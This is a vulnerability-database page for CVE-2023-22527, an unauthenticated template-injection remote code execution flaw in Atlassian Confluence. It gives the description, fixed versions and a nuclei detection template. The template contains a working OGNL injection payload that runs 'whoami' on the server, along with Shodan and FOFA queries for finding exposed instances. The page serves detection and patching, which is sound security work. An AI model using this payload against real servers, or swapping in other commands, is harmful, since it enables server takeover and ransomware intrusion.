HexBrain

Browse / CVEs / CVE-2023-22527

CVE-2023-22527· atlassian / confluence data center· CWE-74

Atlassian Confluence - Remote Code Execution

Exploited in the wild. Listed by CISA on 2024-01-24; known to be used by ransomware.

criticalseverity
9.8CVSS score
100%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

A template injection vulnerability on older versions of Confluence Data Center and Server allows an unauthenticated attacker to achieve RCE on an affected instance. Customers using an affected version must take immediate action. Most recent supported versions of Confluence Data Center and Server are not affected by this vulnerability as it was ultimately mitigated during regular version updates. However, Atlassian recommends that customers take care to install the latest version to protect their instances from non-critical vulnerabilities outlined in Atlassian’s January Security Bulletin.

Impact

Unauthenticated attackers can exploit template injection in the text-inline.vm endpoint to execute arbitrary system commands on Confluence servers and completely compromise Atlassian Confluence installations.

Fix

Update Atlassian Confluence Data Center and Server to August 2023 IR, May 2023 Patch 4, February 2023 Patch 8, November 2022 Patch 11, or August 2022 Patch 13 that mitigates the template injection vulnerability.

How to confirm it

Send: POST /template/aui/text-inline.vm
Positive when: x_vuln_check != "" and contains(to_lower(body), 'empty{name=')

Run it with nuclei: nuclei -id CVE-2023-22527 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2023-22527

info:
  name: Atlassian Confluence - Remote Code Execution
  author: iamnooob,rootxharsh,pdresearch
  severity: critical
  description: |
    A template injection vulnerability on older versions of Confluence Data Center and Server allows an unauthenticated attacker to achieve RCE on an affected instance. Customers using an affected version must take immediate action.
    Most recent supported versions of Confluence Data Center and Server are not affected by this vulnerability as it was ultimately mitigated during regular version updates. However, Atlassian recommends that customers take care to install the latest version to protect their instances from non-critical vulnerabilities outlined in Atlassian’s January Security Bulletin.
  impact: |
    Unauthenticated attackers can exploit template injection in the text-inline.vm endpoint to execute arbitrary system commands on Confluence servers and completely compromise Atlassian Confluence installations.
  remediation: |
    Update Atlassian Confluence Data Center and Server to August 2023 IR, May 2023 Patch 4, February 2023 Patch 8, November 2022 Patch 11, or August 2022 Patch 13 that mitigates the template injection vulnerability.
  reference:
    - https://confluence.atlassian.com/pages/viewpage.action?pageId=1333335615
    - https://jira.atlassian.com/browse/CONFSERVER-93833
    - https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/
    - http://packetstormsecurity.com/files/176789/Atlassian-Confluence-SSTI-Injection.html
    - https://github.com/ramirezs4/Tips-and-tools-forensics---RS4
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-22527
    cwe-id: CWE-74
    epss-score: 0.99984
    epss-percentile: 0.99982
    cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: atlassian
    product: confluence_data_center
    shodan-query:
      - http.component:"Atlassian Confluence"
      - http.component:"atlassian confluence"
    fofa-query: app="atlassian-confluence"
  tags: packetstorm,cve,cve2023,confluence,rce,ssti,kev,atlassian,vkev,vuln

http:
  - raw:
      - |+
        POST /template/aui/text-inline.vm HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate, br
        Content-Type: application/x-www-form-urlencoded

        label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&[email protected]@getResponse().setHeader(\u0027x_vuln_check\u0027,(new+freemarker.template.utility.Execute()).exec({"whoami"}))

    matchers:
      - type: dsl
        dsl:
          - x_vuln_check != "" # check for custom header key exists
          - contains(to_lower(body), 'empty{name=')
        condition: and

    extractors:
      - type: dsl
        dsl:
          - x_vuln_check # prints the output of whoami

References

Use this check only on systems you are authorised to test. Where the data comes from